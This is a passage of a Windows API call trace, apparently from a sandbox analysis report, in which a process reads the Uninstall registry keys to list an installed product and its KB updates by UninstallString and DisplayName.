lpString2="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}" [0047.205] LocalFree (hMem=0x721848) returned 0x0 [0047.205] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed98 | out: phkResult=0xeed98*=0x380) returned 0x0 [0047.205] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed90, lpData=0x0, lpcbData=0xeed94*=0xefedc | out: lpType=0xeed90*=0x2, lpData=0x0, lpcbData=0xeed94*=0x35) returned 0x0 [0047.205] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x721848 [0047.205] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x721848, lpcbData=0xeed94*=0x35 | out: lpType=0x0, lpData=0x721848*=0x4d, lpcbData=0xeed94*=0x35) returned 0x0 [0047.205] RegCloseKey (hKey=0x380) returned 0x0 [0047.205] IStream:Commit (This=0x747360, grfCommitFlags=0x721848) returned 0x0 [0047.205] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed94 | out: phkResult=0xeed94*=0x380) returned 0x0 [0047.205] RegQueryValueExA (in: hKey=0x380, lpValueName="DisplayName", lpReserved=0x0, lpType=0xeed8c, lpData=0x0, lpcbData=0xeed90*=0x721848 | out: lpType=0xeed8c*=0x1, lpData=0x0, lpcbData=0xeed90*=0x3c) returned 0x0 [0047.205] LocalAlloc (uFlags=0x40, uBytes=0xbd) returned 0x74a670 [0047.205] RegQueryValueExA (in: hKey=0x380, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x74a670, lpcbData=0xeed90*=0x3c | out: lpType=0x0, lpData=0x74a670*=0x4d, lpcbData=0xeed90*=0x3c) returned 0x0 [0047.205] RegCloseKey (hKey=0x380) returned 0x0 [0047.205] lstrlenA (lpString="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}") returned 38 [0047.205] IStream:Commit (This=0x7473d8, grfCommitFlags=0xeedf4) returned 0x0 [0047.205] IStream:Commit (This=0x7473d8, grfCommitFlags=0x74a670) returned 0x0 [0047.205] LocalFree (hMem=0x74a670) returned 0x0 [0047.205] LocalFree (hMem=0x721848) returned 0x0 [0047.205] LocalFree (hMem=0x745b68) returned 0x0 [0047.205] RegEnumKeyExA (in: hKey=0x258, dwIndex=0x26, lpName=0xeedf4, lpcchName=0xeedf0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2151757", lpcchName=0xeedf0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0047.205] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0047.205] lstrlenA (lpString="\\") returned 1 [0047.205] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x721848 [0047.205] lstrcpyA (in: lpString1=0x721848, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0047.205] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.205] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0047.206] lstrlenA (lpString="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2151757") returned 48 [0047.206] LocalAlloc (uFlags=0x40, uBytes=0xe5) returned 0x745b68 [0047.206] lstrcpyA (in: lpString1=0x745b68, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.206] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2151757" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2151757") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2151757" [0047.206] LocalFree (hMem=0x721848) returned 0x0 [0047.206] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2151757", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed98 | out: phkResult=0xeed98*=0x380) returned 0x0 [0047.206] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed90, lpData=0x0, lpcbData=0xeed94*=0xefedc | out: lpType=0xeed90*=0x0, lpData=0x0, lpcbData=0xeed94*=0x0) returned 0x2 [0047.206] RegCloseKey (hKey=0x380) returned 0x0 [0047.206] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2151757", ulOptions=0x0, samDesired=0x20219, phkResult=0xeed6c | out: phkResult=0xeed6c*=0x380) returned 0x0 [0047.206] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed64, lpData=0x0, lpcbData=0xeed68*=0xeed50 | out: lpType=0xeed64*=0x0, lpData=0x0, lpcbData=0xeed68*=0x0) returned 0x2 [0047.206] RegCloseKey (hKey=0x380) returned 0x0 [0047.206] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2151757", ulOptions=0x0, samDesired=0x20119, phkResult=0xeed40 | out: phkResult=0xeed40*=0x0) returned 0x2 [0047.206] LocalFree (hMem=0x745b68) returned 0x0 [0047.206] RegEnumKeyExA (in: hKey=0x258, dwIndex=0x27, lpName=0xeedf4, lpcchName=0xeedf0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2467173", lpcchName=0xeedf0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0047.206] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0047.206] lstrlenA (lpString="\\") returned 1 [0047.206] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x721848 [0047.206] lstrcpyA (in: lpString1=0x721848, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0047.206] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.206] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0047.206] lstrlenA (lpString="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2467173") returned 48 [0047.206] LocalAlloc (uFlags=0x40, uBytes=0xe5) returned 0x745b68 [0047.206] lstrcpyA (in: lpString1=0x745b68, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.206] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2467173" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2467173") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2467173" [0047.206] LocalFree (hMem=0x721848) returned 0x0 [0047.206] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2467173", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed98 | out: phkResult=0xeed98*=0x380) returned 0x0 [0047.206] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed90, lpData=0x0, lpcbData=0xeed94*=0xefedc | out: lpType=0xeed90*=0x0, lpData=0x0, lpcbData=0xeed94*=0x0) returned 0x2 [0047.206] RegCloseKey (hKey=0x380) returned 0x0 [0047.206] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2467173", ulOptions=0x0, samDesired=0x20219, phkResult=0xeed6c | out: phkResult=0xeed6c*=0x380) returned 0x0 [0047.206] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed64, lpData=0x0, lpcbData=0xeed68*=0xeed50 | out: lpType=0xeed64*=0x0, lpData=0x0, lpcbData=0xeed68*=0x0) returned 0x2 [0047.206] RegCloseKey (hKey=0x380) returned 0x0 [0047.206] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2467173", ulOptions=0x0, samDesired=0x20119, phkResult=0xeed40 | out: phkResult=0xeed40*=0x0) returned 0x2 [0047.206] LocalFree (hMem=0x745b68) returned 0x0 [0047.206] RegEnumKeyExA (in: hKey=0x258, dwIndex=0x28, lpName=0xeedf4, lpcchName=0xeedf0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2524860", lpcchName=0xeedf0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0047.207] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0047.207] lstrlenA (lpString="\\") returned 1 [0047.207] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x721848 [0047.207] lstrcpyA (in: lpString1=0x721848, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0047.207] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.207] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0047.207] lstrlenA (lpString="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2524860") returned 48 [0047.207] LocalAlloc (uFlags=0x40, uBytes=0xe5) returned 0x745b68 [0047.207] lstrcpyA (in: lpString1=0x745b68, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.207] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2524860" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2524860") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2524860" [0047.207] LocalFree (hMem=0x721848) returned 0x0 [0047.207] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2524860", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed98 | out: phkResult=0xeed98*=0x380) returned 0x0 [0047.207] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed90, lpData=0x0, lpcbData=0xeed94*=0xefedc | out: lpType=0xeed90*=0x0, lpData=0x0, lpcbData=0xeed94*=0x0) returned 0x2 [0047.207] RegCloseKey (hKey=0x380) returned 0x0 [0047.207] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2524860", ulOptions=0x0, samDesired=0x20219, phkResult=0xeed6c | out: phkResult=0xeed6c*=0x380) returned 0x0 [0047.207] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed64, lpData=0x0, lpcbData=0xeed68*=0xeed50 | out: lpType=0xeed64*=0x0, lpData=0x0, lpcbData=0xeed68*=0x0) returned 0x2 [0047.207] RegCloseKey (hKey=0x380) returned 0x0 [0047.207] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2524860", ulOptions=0x0, samDesired=0x20119, phkResult=0xeed40 | out: phkResult=0xeed40*=0x0) returned 0x2 [0047.207] LocalFree (hMem=0x745b68) returned 0x0 [0047.207] RegEnumKeyExA (in: hKey=0x258, dwIndex=0x29, lpName=0xeedf4, lpcchName=0xeedf0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2544655", lpcchName=0xeedf0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0047.207] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0047.207] lstrlenA (lpString="\\") returned 1 [0047.207] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x721848 [0047.207] lstrcpyA (in: lpString1=0x721848, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0047.207] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.207] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0047.207] lstrlenA (lpString="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2544655") returned 48 [0047.207] LocalAlloc (uFlags=0x40, uBytes=0xe5) returned 0x745b68 [0047.207] lstrcpyA (in: lpString1=0x745b68, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.207] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2544655" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2544655") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2544655" [0047.207] LocalFree (hMem=0x721848) returned 0x0 [0047.207] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2544655", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed98 | out: phkResult=0xeed98*=0x380) returned 0x0 [0047.207] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed90, lpData=0x0, lpcbData=0xeed94*=0xefedc | out: lpType=0xeed90*=0x0, lpData=0x0, lpcbData=0xeed94*=0x0) returned 0x2 [0047.207] RegCloseKey (hKey=0x380) returned 0x0 [0047.207] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2544655", ulOptions=0x0, samDesired=0x20219, phkResult=0xeed6c | out: phkResult=0xeed6c*=0x380) returned 0x0 [0047.207] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed64, lpData=0x0, lpcbData=0xeed68*=0xeed50 | out: lpType=0xeed64*=0x0, lpData=0x0, lpcbData=0xeed68*=0x0) returned 0x2 [0047.207] RegCloseKey (hKey=0x380) returned 0x0 [0047.208] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2544655", ulOptions=0x0, samDesired=0x20119, phkResult=0xeed40 | out: phkResult=0xeed40*=0x0) returned 0x2 [0047.208] LocalFree (hMem=0x745b68) returned 0x0 [0047.208] RegEnumKeyExA (in: hKey=0x258, dwIndex=0x2a, lpName=0xeedf4, lpcchName=0xeedf0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2549743", lpcchName=0xeedf0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0047.208] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0047.208] lstrlenA (lpString="\\") returned 1 [0047.208] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x721848 [0047.208] lstrcpyA (in: lpString1=0x721848, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0047.208] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.208] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0047.208] lstrlenA (lpString="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2549743") returned 48 [0047.208] LocalAlloc (uFlags=0x40, uBytes=0xe5) returned 0x745b68 [0047.208] lstrcpyA (in: lpString1=0x745b68, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.208] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2549743" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2549743") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2549743" [0047.208] LocalFree (hMem=0x721848) returned 0x0 [0047.208] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2549743", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed98 | out: phkResult=0xeed98*=0x380) returned 0x0 [0047.208] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed90, lpData=0x0, lpcbData=0xeed94*=0xefedc | out: lpType=0xeed90*=0x0, lpData=0x0, lpcbData=0xeed94*=0x0) returned 0x2 [0047.208] RegCloseKey (hKey=0x380) returned 0x0 [0047.208] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2549743", ulOptions=0x0, samDesired=0x20219, phkResult=0xeed6c | out: phkResult=0xeed6c*=0x380) returned 0x0 [0047.208] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed64, lpData=0x0, lpcbData=0xeed68*=0xeed50 | out: lpType=0xeed64*=0x0, lpData=0x0, lpcbData=0xeed68*=0x0) returned 0x2 [0047.208] RegCloseKey (hKey=0x380) returned 0x0 [0047.208] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2549743", ulOptions=0x0, samDesired=0x20119, phkResult=0xeed40 | out: phkResult=0xeed40*=0x0) returned 0x2 [0047.208] LocalFree (hMem=0x745b68) returned 0x0 [0047.208] RegEnumKeyExA (in: hKey=0x258, dwIndex=0x2b, lpName=0xeedf4, lpcchName=0xeedf0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2565063", lpcchName=0xeedf0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0047.208] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0047.208] lstrlenA (lpString="\\") returned 1 [0047.208] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x721848 [0047.208] lstrcpyA (in: lpString1=0x721848, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0047.208] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.208] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0047.208] lstrlenA (lpString="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2565063") returned 48 [0047.208] LocalAlloc (uFlags=0x40, uBytes=0xe5) returned 0x745b68 [0047.208] lstrcpyA (in: lpString1=0x745b68, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.208] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2565063" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2565063") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2565063" [0047.208] LocalFree (hMem=0x721848) returned 0x0 [0047.208] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2565063", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed98 | out: phkResult=0xeed98*=0x380) returned 0x0 [0047.208] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed90, lpData=0x0, lpcbData=0xeed94*=0xefedc | out: lpType=0xeed90*=0x0, lpData=0x0, lpcbData=0xeed94*=0x0) returned 0x2 [0047.209] RegCloseKey (hKey=0x380) returned 0x0 [0047.209] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2565063", ulOptions=0x0, samDesired=0x20219, phkResult=0xeed6c | out: phkResult=0xeed6c*=0x380) returned 0x0 [0047.209] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed64, lpData=0x0, lpcbData=0xeed68*=0xeed50 | out: lpType=0xeed64*=0x0, lpData=0x0, lpcbData=0xeed68*=0x0) returned 0x2 [0047.209] RegCloseKey (hKey=0x380) returned 0x0 [0047.209] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2565063", ulOptions=0x0, samDesired=0x20119, phkResult=0xeed40 | out: phkResult=0xeed40*=0x0) returned 0x2 [0047.209] LocalFree (hMem=0x745b68) returned 0x0 [0047.209] RegEnumKeyExA (in: hKey=0x258, dwIndex=0x2c, lpName=0xeedf4, lpcchName=0xeedf0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB982573", lpcchName=0xeedf0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0047.209] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0047.209] lstrlenA (lpString="\\") returned 1 [0047.209] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x721848 [0047.209] lstrcpyA (in: lpString1=0x721848, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0047.209] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.209] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0047.209] lstrlenA (lpString="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB982573") returned 47 [0047.209] LocalAlloc (uFlags=0x40, uBytes=0xe4) returned 0x745b68 [0047.209] lstrcpyA (in: lpString1=0x745b68, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: 